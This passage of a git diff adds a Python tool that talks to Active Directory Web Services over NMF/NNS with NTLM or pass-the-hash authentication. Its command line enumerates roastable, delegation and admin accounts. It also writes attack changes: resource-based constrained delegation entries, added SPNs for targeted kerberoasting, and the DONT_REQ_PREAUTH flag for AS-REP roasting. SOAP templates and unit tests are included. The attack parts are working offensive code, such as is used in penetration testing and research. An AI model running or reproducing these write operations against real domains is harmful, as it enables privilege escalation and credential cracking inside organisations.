isinstance(self._nns, NNS): + return + + NMFUpgradeRequest().send(self._transport) + + # wait for ack + self._throw_if_not(NMFUpgradeResponse, self._recv()) + + # nns auth + self._nns.auth_ntlm() + + # switch to upgraded transport now + self._transport = self._nns + + def connect(self, resource: str): + """Establish connection to server. Set up all the communication + channels that are nessisary to begin data exchanges. + + Send NMF preamble + Upgrade to NNS + NNS Auth + End NMF preamble + + Args: + resource (str): Resource to request in the via + + Raises: + NMFServerFault: Raises when the server ack upgrade request + or the preamble end, indicating connection falure. + """ + + # send the preamble + NMFPreamble( + version=(1, 0), + mode=self._mode, + via=f"net.tcp://{self._fqdn}:9389/ActiveDirectoryWebServices/{resource}", + encoding=self._encoding, + ).send(self._transport) + + self._upgrade() + + # preamble end + NMFPreambleEnd().send(self._transport) + + # wait for ack + self._throw_if_not(NMFPreambleAck, self._recv()) + + def _end_record(self) -> None: + """Send an end record""" + NMFEnd().send(self._transport) + + def send(self, data: str): + """Send data to server in an envelope msg. This assumes that + the current mode is duplex or simplex. + + Args: + data (str): data to send + """ + encoding_data: bytes = self._encoder.encode(data) + NMFSizedEnvelope(payload=encoding_data).send(self._transport) + + def recv(self) -> str: + """Receive data from the transport mechanism. Automatically + decodes the data based on selected transport encoding + type. + + Returns: + (str): received and decoded data + Raises: + NMFServerFault: Raises if not data transport msg + """ + pkt = self._recv() + + self._throw_if_not(NMFSizedEnvelope, pkt) + + return self._encoder.decode(pkt["payload"]) + + def _recv(self) -> NMFRecord: + """Read a packet from the network transport layer and + return the object version of the packet + + Returns: + NMFRecord: Correct NMF object + """ + + jump_table = { + 0x0: NMFVersion, + 0x1: NMFMode, + 0x2: NMFVia, + 0x3: NMFKnownEncoding, + 0x4: NMFExtensibleEncoding, + 0x5: NMFUnsizedEnvelope, + 0x6: NMFSizedEnvelope, + 0x7: NMFEnd, + 0x8: NMFFault, + 0x9: NMFUpgradeRequest, + 0xA: NMFUpgradeResponse, + 0xB: NMFPreambleAck, + 0xC: NMFPreambleEnd, + } + + data: bytes = self._transport.recv(4096) + + record_type: int = data[0] + + # simplifed object factory, takes type and returns NMFRecords + return jump_table.get(record_type, NMFUnknownRecord)(data=data) diff --git a/src/ms_nns.py b/src/ms_nns.py new file mode 100644 index 0000000..224ae97 --- /dev/null +++ b/src/ms_nns.py @@ -0,0 +1,434 @@ +import logging +import socket + +import impacket.examples.logger +import impacket.ntlm +import impacket.spnego +import impacket.structure +from Cryptodome.Cipher import ARC4 +from impacket.hresult_errors import ERROR_MESSAGES + +from .encoder.records.utils import Net7BitInteger + + +def hexdump(data, length=16): + def to_ascii(byte): + if 32 <= byte <= 126: + return chr(byte) + else: + return "." + + def format_line(offset, line_bytes): + hex_part = " ".join(f"{byte:02X}" for byte in line_bytes) + ascii_part = "".join(to_ascii(byte) for byte in line_bytes) + return f"{offset:08X} {hex_part:<{length*3}} {ascii_part}" + + lines = [] + for i in range(0, len(data), length): + line_bytes = data[i : i + length] + lines.append(format_line(i, line_bytes)) + + return "\n".join(lines) + + +class NNS_pkt(impacket.structure.Structure): + structure: tuple[tuple[str, str], ...] + + def send(self, sock: socket.socket): + sock.sendall(self.getData()) + + +class NNS_handshake(NNS_pkt): + structure = ( + ("message_id", ">B"), + ("major_version", ">B"), + ("minor_version", ">B"), + ("payload_len", ">H-payload"), + ("payload", ":"), + ) + + # During negotitiate, payload will be the GSSAPI, containing SPNEGO + # w/ NTLMSSP for NTLM or + # w/ krb5_blob for the AP REQ) + + # For NTLM + # NNS Headers + # |_ Payload ( GSS-API ) + # |_ SPNEGO ( NegTokenInit ) + # |_ NTLMSSP + + # For Kerberos + # NNS Headers + # |_ Payload ( GSS-API ) + # |_ SPNEGO ( NegTokenInit ) + # |_ krb5_blob + # |_ Kerberos ( AP REQ ) + + ### + + # During challenge, payload will be the GSSAPI, containing SPNEGO + # w/ NTLMSSP for NTLM or + # w/ krb5_blob for the AP REQ) + + # For NTLM + # NNS Headers + # |_ Payload ( GSS-API, SPNEGO, no GSS-API headers ) + # |_ NegTokenTarg ( NegTokenResp ) + # |_ NTLMSSP + + def __init__( + self, message_id: int, major_version: int, minor_version: int, payload: bytes + ): + impacket.structure.Structure.__init__(self) + self["message_id"] = message_id + self["major_version"] = major_version + self["minor_version"] = minor_version + self["payload"] = payload + + +class NNS_data(NNS_pkt): + # NNS data message, used after auth is completed + + structure = ( + ("payload_size", " bytes | str: + """fixes up hash if present into bytes and + ensures length is 32. + + If no hash is present, returns empty bytes + + Args: + hash (str | bytes): nt or lm hash + + Returns: + bytes: bytes version + """ + + if not hash: + return "" + + if len(hash) % 2: + hash = hash.zfill(32) + + return bytes.fromhex(hash) if isinstance(hash, str) else hash + + def seal(self, data: bytes) -> tuple[bytes, bytes]: + """seals data with the current context + + Args: + data (bytes): bytes to seal + + Returns: + tuple[bytes, bytes]: output_data, signature + """ + + server = bool( + self._flags & impacket.ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY + ) + + output, sig = impacket.ntlm.SEAL( + self._flags, + self._server_signing_key if server else self._client_signing_key, + self._server_sealing_key if server else self._client_sealing_key, + data, + data, + self._sequence, + self._server_sealing_handle if server else self._client_sealing_handle, + ) + + return output, sig.getData() + + def recv(self, _: int = 0) -> bytes: + """Recive an NNS packet and return the entire + decrypted contents. + + The paramiter is used to allow interoperability with socket.socket.recv. + Does not respect any passed buffer sizes. + + Args: + _ (int, optional): For interoperability with socket.socket. Defaults to 0. + + Returns: + bytes: unsealed nns message + """ + first_pkt = self._recv() + + # if it isnt an envelope, throw it back + if first_pkt[0] != 0x06: + return first_pkt + + nmfsize, nmflenlen = Net7BitInteger.decode7bit(first_pkt[1:]) + + # its all just one packet + if nmfsize < 0xFC30: + return first_pkt + + # otherwise, we have a multi part message + pkt = first_pkt + nmfsize -= len(first_pkt[nmflenlen:]) + + while nmfsize > 0: + thisFragment = self._recv() + + pkt += thisFragment + nmfsize -= len(thisFragment) + + return pkt + + def _recv(self, _: int = 0) -> bytes: + """Recive an NNS packet and return the entire + decrypted contents. + + The paramiter is used to allow interoperability with socket.socket.recv. + Does not respect any passed buffer sizes. + """ + nns_data = NNS_data() + size = int.from_bytes(self._sock.recv(4), "little") + + payload = b"" + while len(payload) != size: + payload += self._sock.recv(size - len(payload)) + nns_data["payload"] = payload + + nns_signed_payload = NNS_Signed_payload() + nns_signed_payload["signature"] = nns_data["payload"][0:16] + nns_signed_payload["cipherText"] = nns_data["payload"][16:] + + clearText, sig = self.seal(nns_signed_payload["cipherText"]) + return clearText + + def sendall(self, data: bytes): + """send to server in NTLM sealed NNS data packet via tcp socket. + + Args: + data (bytes): utf-16le encoded payload data + """ + + cipherText, sig = impacket.ntlm.SEAL( + self._flags, + self._client_signing_key, + self._client_sealing_key, + data, + data, + self._sequence, + self._client_sealing_handle, + ) + + # build the NNS data packet to use + pkt = NNS_data() + + # then we build the payload, which is the signature prepended + # on the actual ciphertext. This goes in the payload of + # the NNS data packet + payload = NNS_Signed_payload() + payload["signature"] = sig + payload["cipherText"] = cipherText + pkt["payload"] = payload.getData() + + self._sock.sendall(pkt.getData()) + + # and we increment the sequence number after sending + self._sequence += 1 + + def auth_ntlm(self) -> None: + """Authenticate to the dest with NTLMV2 authentication""" + + # Initial negotiation sent from client + NegTokenInit: impacket.spnego.SPNEGO_NegTokenInit + NtlmSSP_nego: impacket.ntlm.NTLMAuthNegotiate + + # Generate a NTLMSSP + NtlmSSP_nego = impacket.ntlm.getNTLMSSPType1( + workstation="", # These fields don't get populated for some reason + domain="", # These fields don't get populated for some reason + signingRequired=True, # TODO: Somehow determine this; can we send a Negotiate Protocol Request and derive this dynamically? + use_ntlmv2=True, # TODO: See above comment + ) + + # Generate the NegTokenInit + # Impacket has this inherit from GSSAPI, so we will also have the OID and other headers :D + NegTokenInit = impacket.spnego.SPNEGO_NegTokenInit() + NegTokenInit["MechTypes"] = [ + impacket.spnego.TypesMech[ + "NTLMSSP - Microsoft NTLM Security Support Provider" + ], + impacket.spnego.TypesMech["MS KRB5 - Microsoft Kerberos 5"], + impacket.spnego.TypesMech["KRB5 - Kerberos 5"], + impacket.spnego.TypesMech[ + "NEGOEX - SPNEGO Extended Negotiation Security Mechanism" + ], + ] + NegTokenInit["MechToken"] = NtlmSSP_nego.getData() + + # Fit it all into an NNS NTLMSSP_NEGOTIATE Message + # Begin authentication ( NTLMSSP_NEGOTIATE ) + NNS_handshake( + message_id=MessageID.IN_PROGRESS, + major_version=1, + minor_version=0, + payload=NegTokenInit.getData(), + ).send(self._sock) + + # Response with challenge from server + NNS_msg_chall: NNS_handshake + s_NegTokenTarg: impacket.spnego.SPNEGO_NegTokenResp + NTLMSSP_chall: impacket.ntlm.NTLMAuthChallenge + + # Receive the NNS NTLMSSP_Challenge + NNS_msg_chall = NNS_handshake( + message_id=int.from_bytes(self._sock.recv(1), "big"), + major_version=int.from_bytes(self._sock.recv(1), "big"), + minor_version=int.from_bytes(self._sock.recv(1), "big"), + payload=self._sock.recv(int.from_bytes(self._sock.recv(2), "big")), + ) + + # Extract the NegTokenResp ( NegTokenTarg ) + # Note: Potentially consider SupportedMech from s_NegTokenTarg for determining stuff like signing? + s_NegTokenTarg = impacket.spnego.SPNEGO_NegTokenResp(NNS_msg_chall["payload"]) + + # Create an NtlmAuthChallenge from the NTLMSSP ( ResponseToken ) + NTLMSSP_chall = impacket.ntlm.NTLMAuthChallenge(s_NegTokenTarg["ResponseToken"]) + + # TODO: see if this is relevant https://github.com/fortra/impacket/blob/15eff8805116007cfb59332a64194a5b9c8bcf25/impacket/smb3.py#L1015 + # if NTLMSSP_chall[ 'TargetInfoFields_len' ] > 0: + # av_pairs = impacket.ntlm.AV_PAIRS( NTLMSSP_chall[ 'TargetInfoFields' ][ :NTLMSSP_chall[ 'TargetInfoFields_len' ] ] ) + # if av_pairs[ impacket.ntlm.NTLMSSP_AV_HOSTNAME ] is not None: + # print( "TODO AV PAIRS IDK IF ITS RELEVANT" ) + + # Response with authentication from client + c_NegTokenTarg: impacket.spnego.SPNEGO_NegTokenResp + NTLMSSP_chall_resp: impacket.ntlm.NTLMAuthChallengeResponse + + # Create the NTLMSSP challenge response + # If password is used, then the lm and nt hashes must be pass + # an empty str, NOT, empty byte str....... + NTLMSSP_chall_resp, self._session_key = impacket.ntlm.getNTLMSSPType3( + type1=NtlmSSP_nego, + type2=NTLMSSP_chall.getData(), + user=self._username, + password=self._password, + domain=self._domain, + lmhash=self._lm, + nthash=self._nt, + ) + + # set up info for crypto + self._flags = NTLMSSP_chall_resp["flags"] + self._sequence = 0 + + if self._flags & impacket.ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY: + logging.debug("We are doing extended ntlm security") + self._client_signing_key = impacket.ntlm.SIGNKEY( + self._flags, self._session_key + ) + self._server_signing_key = impacket.ntlm.SIGNKEY( + self._flags, self._session_key, "Server" + ) + self._client_sealing_key = impacket.ntlm.SEALKEY( + self._flags, self._session_key + ) + self._server_sealing_key = impacket.ntlm.SEALKEY( + self._flags, self._session_key, "Server" + ) + + # prepare keys to handle states + cipher1 = ARC4.new(self._client_sealing_key) + self._client_sealing_handle = cipher1.encrypt + cipher2 = ARC4.new(self._server_sealing_key) + self._server_sealing_handle = cipher2.encrypt + + else: + logging.debug("We are doing basic ntlm auth") + # same key for both ways + self._client_signing_key = self._session_key + self._server_signing_key = self._session_key + self._client_sealing_key = self._session_key + self._server_sealing_key = self._session_key + cipher = ARC4.new(self._client_sealing_key) + self._client_sealing_handle = cipher.encrypt + self._server_sealing_handle = cipher.encrypt + + # Fit the challenge response into the ResponseToken of our NegTokenTarg + c_NegTokenTarg = impacket.spnego.SPNEGO_NegTokenResp() + c_NegTokenTarg["ResponseToken"] = NTLMSSP_chall_resp.getData() + + # Fit our challenge response into an NNS message + # Send the NTLMSSP_AUTH ( challenge response ) + NNS_handshake( + message_id=MessageID.IN_PROGRESS, + major_version=1, + minor_version=0, + payload=c_NegTokenTarg.getData(), + ).send(self._sock) + + # Response from server ending handshake + NNS_msg_done: NNS_handshake + + # Check for success + NNS_msg_done = NNS_handshake( + message_id=int.from_bytes(self._sock.recv(1), "big"), + major_version=int.from_bytes(self._sock.recv(1), "big"), + minor_version=int.from_bytes(self._sock.recv(1), "big"), + payload=self._sock.recv(int.from_bytes(self._sock.recv(2), "big")), + ) + + # check for errors + if NNS_msg_done["message_id"] == 0x15: + err_type, err_msg = ERROR_MESSAGES[ + int.from_bytes(NNS_msg_done["payload"], "big") + ] + raise SystemExit(f"[-] NTLM Auth Failed with error {err_type} {err_msg}") diff --git a/src/soa.py b/src/soa.py new file mode 100644 index 0000000..ed1e942 --- /dev/null +++ b/src/soa.py @@ -0,0 +1,557 @@ +import argparse +import logging +import sys +from base64 import b64decode, b64encode + +from impacket.examples import logger +from impacket.examples.utils import parse_target +from impacket.ldap.ldaptypes import ( + ACCESS_ALLOWED_ACE, + ACCESS_MASK, + ACE, + ACL, + LDAP_SID, + SR_SECURITY_DESCRIPTOR, +) + +from src.adws import ADWSConnect, NTLMAuth +from src.soap_templates import NAMESPACES + + +# https://github.com/fortra/impacket/blob/829239e334fee62ace0988a0cb5284233d8ec3c4/examples/rbcd.py#L180 +def _create_empty_sd(): + sd = SR_SECURITY_DESCRIPTOR() + sd["Revision"] = b"\x01" + sd["Sbz1"] = b"\x00" + sd["Control"] = 32772 + sd["OwnerSid"] = LDAP_SID() + # BUILTIN\Administrators + sd["OwnerSid"].fromCanonical("S-1-5-32-544") + sd["GroupSid"] = b"" + sd["Sacl"] = b"" + acl = ACL() + acl["AclRevision"] = 4 + acl["Sbz1"] = 0 + acl["Sbz2"] = 0 + acl.aces = [] + sd["Dacl"] = acl + return sd + + +# https://github.com/fortra/impacket/blob/829239e334fee62ace0988a0cb5284233d8ec3c4/examples/rbcd.py#L200 +def _create_allow_ace(sid: LDAP_SID): + nace = ACE() + nace["AceType"] = ACCESS_ALLOWED_ACE.ACE_TYPE + nace["AceFlags"] = 0x00 + acedata = ACCESS_ALLOWED_ACE() + acedata["Mask"] = ACCESS_MASK() + acedata["Mask"]["Mask"] = 983551 # Full control + acedata["Sid"] = sid.getData() + nace["Ace"] = acedata + return nace + +def getAccountDN( + target: str, + username: str, + ip: str, + domain: str, + auth: NTLMAuth, +): + """Get an LDAP objects distinguishedName attribute to be used in write operations + + Args: + target (str): target samAccountName + username (str): user to authenticate as + ip (str): the ip of the domain controller + domain (str): the domain name + auth (NTLMAuth): authentication method + """ + + get_account_query = f"(samAccountName={target})" + pull_client = ADWSConnect.pull_client(ip, domain, username, auth) + + attributes: list = [ + "distinguishedname", + ] + + pull_et = pull_client.pull(query=get_account_query, attributes=attributes) + + for item in pull_et.findall(".//addata:user", namespaces=NAMESPACES): + distinguishedName_elem = item.find( + ".//addata:distinguishedName/ad:value", namespaces=NAMESPACES + ) + dn = distinguishedName_elem.text + + return dn + + +def set_spn( + target: str, + value: str, + username: str, + ip: str, + domain: str, + auth: NTLMAuth, + remove: bool = False, +): + """Set a value in servicePrincipalName. Appends value to the + attribute rather than replacing. + + Args: + target (str): target samAccountName + value (str): value to append to the targets servicePrincipalName + username (str): user to authenticate as + ip (str): the ip of the domain controller + auth (NTLMAuth): authentication method + remove (bool): Whether to remove the value + """ + + dn = getAccountDN(target=target,username=username,ip=ip,domain=domain,auth=auth) + + put_client = ADWSConnect.put_client(ip, domain, username, auth) + + put_client.put( + object_ref=dn, + operation="add" if not remove else "delete", + attribute="addata:servicePrincipalName", + data_type="string", + value=value, + ) + + print( + f"[+] servicePrincipalName {value} {'removed' if remove else 'written'} successfully on {target}!" + ) + +def set_asrep( + target: str, + username: str, + ip: str, + domain: str, + auth: NTLMAuth, + remove: bool = False, +): + """Set the DONT_REQ_PREAUTH (0x400000) flag on the target accounts + userAccountControl attribute. + + Args: + target (str): target samAccountName + username (str): user to authenticate as + ip (str): the ip of the domain controller + auth (NTLMAuth): authentication method + remove (bool): Whether to remove the value + """ + + """First get current userAccountControl value""" + get_accounts_queries = f"(sAMAccountName={target})" + pull_client = ADWSConnect.pull_client(ip, domain, username, auth) + + attributes: list = [ + "userAccountControl", + "distinguishedName", + ] + + pull_et = pull_client.pull(query=get_accounts_queries, attributes=attributes) + for item in pull_et.findall(".//addata:user", namespaces=NAMESPACES): + uac = item.find( + ".//addata:userAccountControl/ad:value", + namespaces=NAMESPACES, + ) + distinguishedName_elem = item.find( + ".//addata:distinguishedName/ad:value", namespaces=NAMESPACES + ) + + dn = distinguishedName_elem.text + + """Then write""" + put_client = ADWSConnect.put_client(ip, domain, username, auth) + if not remove: + newUac = int(uac.text) | 0x400000 + + put_client.put( + object_ref=dn, + operation="replace", + attribute="addata:userAccountControl", + data_type="string", + value=newUac, + ) + + else: + newUac = int(uac.text) & ~0x400000 + put_client.put( + object_ref=dn, + operation="replace", + attribute="addata:userAccountControl", + data_type="string", + value=newUac, + ) + + print( + f"[+] DONT_REQ_PREAUTH {'removed' if remove else 'written'} successfully!" + ) + +def set_rbcd( + target: str, + account: str, + username: str, + ip: str, + domain: str, + auth: NTLMAuth, + remove: bool = False, +): + """Write RBCD. Safe, appends to the attribute rather than + replacing. Pass the remove param to remove the account sid from the + target security descriptor + + Args: + target (str): target samAccountName + account (str): attacker controlled samAccountName + username (str): user to authenticate as + ip (str): the ip of the domain controller + domain (str): specified account domain + auth (NTLMAuth): authentication method + remove (bool): Whether to remove the value + """ + + get_accounts_queries = f"(|(sAMAccountName={target})(sAMAccountName={account}))" + + pull_client = ADWSConnect.pull_client(ip, domain, username, auth) + + """Build attrs for RBCD computer pull""" + attributes: list = [ + "samaccountname", + "objectsid", + "distinguishedname", + "msds-allowedtoactonbehalfofotheridentity", + ] + + pull_et = pull_client.pull(query=get_accounts_queries, attributes=attributes) + + target_sd: SR_SECURITY_DESCRIPTOR = _create_empty_sd() + target_dn: str = "" + account_sid: LDAP_SID | None = None + + for item in pull_et.findall(".//addata:computer", namespaces=NAMESPACES): + sam_name_elem = item.find( + ".//addata:sAMAccountName/ad:value", namespaces=NAMESPACES + ) + sd_elem = item.find( + ".//addata:msDS-AllowedToActOnBehalfOfOtherIdentity/ad:value", + namespaces=NAMESPACES, + ) + sid_elem = item.find(".//addata:objectSid/ad:value", namespaces=NAMESPACES) + distinguishedName_elem = item.find( + ".//addata:distinguishedName/ad:value", namespaces=NAMESPACES + ) + + sam_name = sam_name_elem.text if sam_name_elem != None else "" + sid = sid_elem.text if sid_elem != None else "" + sd = sd_elem.text if sd_elem != None else "" + dn = distinguishedName_elem.text if distinguishedName_elem != None else "" + + if sam_name and sid and sam_name.casefold() == account.casefold(): + account_sid = LDAP_SID(data=b64decode(sid)) + if dn and sam_name and sam_name.casefold() == target.casefold(): + target_dn = dn + if sd: + target_sd = SR_SECURITY_DESCRIPTOR(data=b64decode(sd)) + + if not account_sid: + logging.critical( + f"Unable to find {target} or {account}." + ) + raise SystemExit() + + # collect a clean list. remove the account sid if its present + target_sd["Dacl"].aces = [ + ace + for ace in target_sd["Dacl"].aces + if ace["Ace"]["Sid"].formatCanonical() != account_sid.formatCanonical() + ] + if not remove: + target_sd["Dacl"].aces.append(_create_allow_ace(account_sid)) + + put_client = ADWSConnect.put_client(ip, domain, username, auth) + put_client.put( + object_ref=target_dn, + operation="replace", + attribute="addata:msDS-AllowedToActOnBehalfOfOtherIdentity", + data_type="base64Binary", + value=b64encode(target_sd.getData()).decode("utf-8"), + ) + + # if we are removing and the list of aces is empty, just delete the attribute + if remove and len(target_sd["Dacl"].aces) == 0: + put_client.put( + object_ref=target_dn, + operation="delete", + attribute="addata:msDS-AllowedToActOnBehalfOfOtherIdentity", + data_type="base64Binary", + value=b64encode(target_sd.getData()).decode("utf-8"), + ) + + print( + f"[+] msDS-AllowedToActOnBehalfOfIdentity {'removed' if remove else 'written'} successfully!" + ) + print(f"[+] {account} {'can not' if remove else 'can'} delegate to {target}") + + +def run_cli(): + print(""" +███████╗ ██████╗ █████╗ ██████╗ ██╗ ██╗ +██╔════╝██╔═══██╗██╔══██╗██╔══██╗╚██╗ ██╔╝ +███████╗██║ ██║███████║██████╔╝ ╚████╔╝ +╚════██║██║ ██║██╔══██║██╔═══╝ ╚██╔╝ +███████║╚██████╔╝██║ ██║██║ ██║ +╚══════╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝ + """) + + parser = argparse.ArgumentParser( + add_help=True, + description="Enumerate and write LDAP objects over ADWS using the SOAP protocol", + ) + parser.add_argument( + "connection", + action="store", + help="domain/username[:password]@", + ) + parser.add_argument( + "--debug", + action="store_true", + help="Turn DEBUG output ON" + ) + parser.add_argument( + "--ts", + action="store_true", + help="Adds timestamp to every logging output." + ) + parser.add_argument( + "--hash", + action="store", + metavar="nthash", + help="Use an NT hash for authentication", + ) + + enum = parser.add_argument_group('Enumeration') + enum.add_argument( + "--users", + action="store_true", + help="Enumerate user objects" + ) + enum.add_argument( + "--computers", + action="store_true", + help="Enumerate computer objects" + ) + enum.add_argument( + "--groups", + action="store_true", + help="Enumerate group objects" + ) + enum.add_argument( + "--constrained", + action="store_true", + help="Enumerate objects with the msDS-AllowedToDelegateTo attribute set", + ) + enum.add_argument( + "--unconstrained", + action="store_true", + help="Enumerate objects with the TRUSTED_FOR_DELEGATION flag set", + ) + enum.add_argument( + "--spns", + action="store_true", + help="Enumerate accounts with the servicePrincipalName attribute set" + ) + enum.add_argument( + "--asreproastable", + action="store_true", + help="Enumerate accounts with the DONT_REQ_PREAUTH flag set" + ) + enum.add_argument( + "--admins", + action="store_true", + help="Enumerate high privilege accounts" + ) + enum.add_argument( + "--rbcds", + action="store_true", + help="Enumerate accounts with msDs-AllowedToActOnBehalfOfOtherIdentity set" + ) + enum.add_argument( + "-q", + "--query", + action="store", + metavar="query", + help="Raw query to execute on the target", + ) + enum.add_argument( + "--filter", + action="store", + metavar="attr,attr,...", + help="Attributes to select from the objects returned, in a comma seperated list", + ) + + writing = parser.add_argument_group('Writing') + writing.add_argument( + "--rbcd", + action="store", + metavar="source", + help="Operation to write or remove RBCD. Also used to pass in the source computer account used for the attack.", + ) + writing.add_argument( + "--spn", + action="store", + metavar="value", + help='Operation to write the servicePrincipalName attribute value, writes by default unless "--remove" is specified', + ) + writing.add_argument( + "--asrep", + action="store_true", + help="Operation to write the DONT_REQ_PREAUTH (0x400000) userAccountControl flag on a target object" + ) + writing.add_argument( + "--account", + action="store", + metavar="account", + help="Account to preform an operation on", + ) + writing.add_argument( + "--remove", + action="store_true", + help="Operarion to remove an attribute value based off an operation", + ) + + if len(sys.argv) == 1: + parser.print_help() + sys.exit(1) + + options = parser.parse_args() + + logger.init(options.ts) + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + else: + logging.getLogger().setLevel(logging.INFO) + + domain, username, password, remoteName = parse_target(options.connection) + + if domain is None: + domain = "" + + # if there are no supplied auth information, ask for a password interactivly + if password == "" and username != "" and options.hash is None: + from getpass import getpass + + password = getpass("Password:") + + queries: dict[str, str] = { + "users": "(&(objectClass=user)(objectCategory=person))", + "computers": "(objectClass=computer)", + "constrained": "(msds-allowedtodelegateto=*)", + "unconstrained": "(userAccountControl:1.2.840.113556.1.4.803:=524288)", + "spns": "(&(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512))(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))", + "asreproastable":"(&(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))", + "admins": "(&(objectClass=user)(adminCount=1))", + "groups": "(objectCategory=group)", + "rbcds": "(msds-allowedtoactonbehalfofotheridentity=*)", + } + + """Just check if anything is specified""" + ldap_query = [] + ldap_query.append(options.query) + for flag, this_query in queries.items(): + if getattr(options, flag): + ldap_query.append(this_query) + + if not domain: + logging.critical('"domain" must be specified') + raise SystemExit() + + if not username: + logging.critical('"username" must be specified') + raise SystemExit() + + auth = NTLMAuth(password=password, hashes=options.hash) + + if options.rbcd != None: + if not options.account: + logging.critical( + '"--rbcd" must be used with "--account"' + ) + raise SystemExit() + + set_rbcd( + ip=remoteName, + domain=domain, + target=options.account, + account=options.rbcd, + username=username, + auth=auth, + remove=options.remove, + ) + elif options.spn != None: + if not options.account: + logging.critical( + 'Please specify an account with "--account"' + ) + raise SystemExit() + + set_spn( + ip=remoteName, + domain=domain, + target=options.account, + value=options.spn, + username=username, + auth=auth, + remove=options.remove + ) + elif options.asrep: + if not options.account: + logging.critical( + 'Please specify an account with "--account"' + ) + raise SystemExit() + + set_asrep( + ip=remoteName, + domain=domain, + target=options.account, + username=username, + auth=auth, + remove=options.remove + ) + else: + if not ldap_query: + logging.critical("Query can not be None") + raise SystemExit() + + client = ADWSConnect.pull_client( + ip=remoteName, + domain=domain, + username=username, + auth=auth, + ) + + for current_query in ldap_query: + + if not current_query: + continue + """ + client = ADWSConnect.pull_client( + ip=remoteName, + domain=domain, + username=username, + auth=auth, + ) + """ + + if options.filter is not None: + attributes: list = [x.strip() for x in options.filter.split(",")] + else: + attributes = ["samaccountname", "distinguishedName", "objectsid"] + + client.pull(current_query, attributes, print_incrementally=True) + + +if __name__ == "__main__": + run_cli() diff --git a/src/soap_templates.py b/src/soap_templates.py new file mode 100644 index 0000000..4ed06f4 --- /dev/null +++ b/src/soap_templates.py @@ -0,0 +1,104 @@ +NAMESPACES = { + "ad": "http://schemas.microsoft.com/2008/1/ActiveDirectory", + "addata": "http://schemas.microsoft.com/2008/1/ActiveDirectory/Data", + "adlq": "http://schemas.microsoft.com/2008/1/ActiveDirectory/Dialect/LdapQuery", + "da": "http://schemas.microsoft.com/2006/11/IdentityManagement/DirectoryAccess", + "ca": "http://schemas.microsoft.com/2008/1/ActiveDirectory/CustomActions", + + "soapenv": "http://www.w3.org/2003/05/soap-envelope", + "wsa": "http://www.w3.org/2005/08/addressing", + "wsen": "http://schemas.xmlsoap.org/ws/2004/09/enumeration", + "wxf": "http://schemas.xmlsoap.org/ws/2004/09/transfer", + "xsd": "http://www.w3.org/2001/XMLSchema", + "xsi": "http://www.w3.org/2001/XMLSchema-instance", + + "s": "http://www.w3.org/2003/05/soap-envelope", + "a": "http://www.w3.org/2005/08/addressing", +} + +LDAP_QUERY_FSTRING: str = """ + + http://schemas.xmlsoap.org/ws/2004/09/enumeration/Enumerate + ldap:389 + urn:uuid:{uuid} + + http://www.w3.org/2005/08/addressing/anonymous + + net.tcp://{fqdn}:9389/ActiveDirectoryWebServices/Windows/Enumeration + + + + + + {query} + {baseobj} + Subtree + + + + {attributes} + + + +""" + +LDAP_PULL_FSTRING: str = """ + + http://schemas.xmlsoap.org/ws/2004/09/enumeration/Pull + ldap:389 + urn:uuid:{uuid} + + http://www.w3.org/2005/08/addressing/anonymous + + net.tcp://{fqdn}:9389/ActiveDirectoryWebServices/Windows/Enumeration + + + + {enum_ctx} + 256 + + +""" + + +LDAP_PUT_FSTRING: str = """ + + http://schemas.xmlsoap.org/ws/2004/09/transfer/Put + ldap:389 + {object_ref} + + urn:uuid:{uuid} + + http://www.w3.org/2005/08/addressing/anonymous + + net.tcp://{fqdn}:9389/ActiveDirectoryWebServices/Windows/Resource + + + + + {attribute} + + {value} + + + + + """ \ No newline at end of file diff --git a/tests/__init__.py b/tests/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/tests/test_datatypes.py b/tests/test_datatypes.py new file mode 100644 index 0000000..099d2ea --- /dev/null +++ b/tests/test_datatypes.py @@ -0,0 +1,78 @@ +import unittest +from io import BytesIO + +from hypothesis import given +from hypothesis.strategies import integers, text + +from src.encoder.records.datatypes import MultiByteInt31, Utf8String + + +class TestMultiByteInt31(unittest.TestCase): + def test_to_bytes_basic(self): + value = 268435456 + expected_result = b"\x80\x80\x80\x80\x01" + resuilt = MultiByteInt31(value).to_bytes() + self.assertEqual(resuilt, expected_result) + + def test_to_bytes_complex(self): + value = 0x3FFFFFFF + expected_result = b"\xff\xff\xff\xff\x03" + resuilt = MultiByteInt31(value).to_bytes() + self.assertEqual(resuilt, expected_result) + + def test_to_int_basic(self): + value = BytesIO(b"\x80\x80\x80\x80\x01") + expected_result = 268435456 + result = MultiByteInt31.parse(value).value + self.assertEqual(result, expected_result) + + def test_to_int_singlebyte(self): + value = BytesIO(b"\x0a") + expected_result = 0xA + result = MultiByteInt31.parse(value).value + self.assertEqual(result, expected_result) + + def test_to_int_complex(self): + value = BytesIO(b"\x0a\x78\x73\x64\x3a\x73\x74\x72\x69\x6e\x67\x99") + expected_result = 0xA + result = MultiByteInt31.parse(value).value + self.assertEqual(result, expected_result) + + @given(i=integers(min_value=0x0, max_value=0xFFFFFFF)) + def test_invariant(self, i): + bin_val = MultiByteInt31(i).to_bytes() + int_val = MultiByteInt31.parse(BytesIO(bin_val)).value + self.assertEqual(int_val, i) + + +class TestUtf8String(unittest.TestCase): + def test_to_bytes_basic(self): + value = "abc" + expected_result = b"\x03\x61\x62\x63" + result = Utf8String(value).to_bytes() + self.assertEqual(result, expected_result) + + def test_to_bytes_complex(self): + value = b"\xc3\xbcber".decode("utf-8") + expected_result = b"\x05\xc3\xbcber" + result = Utf8String(value).to_bytes() + self.assertEqual(result, expected_result) + + def test_to_string_basic(self): + value = b"\x03\x61\x62\x63" + expected_result = "abc" + result = Utf8String.parse(BytesIO(value)).value + self.assertEqual(result, expected_result) + + def test_bytes_to_bytes(self): + value = b"\x05\xc3\xbcber" + result = Utf8String.parse(BytesIO(value)) + + print(result) + self.assertEqual(result.to_bytes(), value) + + @given(s=text(min_size=0x0, max_size=0xFFFFFFF)) + def test_invariant(self, s): + bin_val = Utf8String(s).to_bytes() + str_val = Utf8String.parse(BytesIO(bin_val)).value + self.assertEqual(str_val, s) diff --git 